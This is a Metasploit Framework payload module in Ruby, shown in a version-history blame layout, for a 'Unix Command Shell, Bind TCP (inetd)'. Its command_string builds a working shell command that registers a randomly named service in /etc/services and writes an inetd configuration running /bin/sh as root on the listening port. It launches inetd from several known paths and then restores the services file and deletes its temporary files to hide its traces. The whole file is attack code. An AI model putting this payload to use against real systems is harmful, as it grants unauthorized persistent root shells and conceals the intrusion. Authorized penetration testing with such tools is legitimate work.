2007-02-18 00:10:39 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-01-15 21:13:41 +00:00
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2006-01-15 21:13:41 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2006-01-15 21:13:41 +00:00
|
|
|
|
2015-03-09 20:31:04 +00:00
|
|
|
CachedSize = 487
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Unix Command Shell, Bind TCP (inetd)',
|
|
|
|
'Description' => 'Listen for a connection and spawn a command shell (persistent)',
|
|
|
|
'Author' => 'hdm',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'Privileged' => true,
|
|
|
|
'RequiredCmd' => 'inetd',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
|
|
|
return super + command_string
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
|
|
|
tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)
|
|
|
|
tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)
|
|
|
|
svc = Rex::Text.rand_text_alpha_lower(9)
|
|
|
|
|
|
|
|
cmd =
|
|
|
|
# Create a clean copy of the services file
|
|
|
|
"cp /etc/services #{tmp_services};" +
|
|
|
|
|
|
|
|
# Add our service to the system one
|
|
|
|
"echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +
|
|
|
|
|
|
|
|
# Create our inetd configuration file with our service
|
|
|
|
"echo #{svc} stream tcp nowait root /bin/sh sh>#{tmp_inet};" +
|
|
|
|
|
|
|
|
# First we try executing inetd without the full path
|
|
|
|
"inetd -s #{tmp_inet} ||" +
|
|
|
|
|
|
|
|
# Next try the standard inetd path on Linux, Solaris, BSD
|
|
|
|
"/usr/sbin/inetd -s #{tmp_inet} ||" +
|
|
|
|
|
|
|
|
# Next try the Irix inetd path
|
|
|
|
"/usr/etc/inetd -s #{tmp_inet};" +
|
|
|
|
|
|
|
|
# Overwrite services with the "clean" version
|
|
|
|
"cp #{tmp_services} /etc/services;" +
|
|
|
|
|
|
|
|
# Delete our configuration file
|
|
|
|
"rm #{tmp_inet} #{tmp_services};";
|
|
|
|
|
|
|
|
return cmd
|
|
|
|
end
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|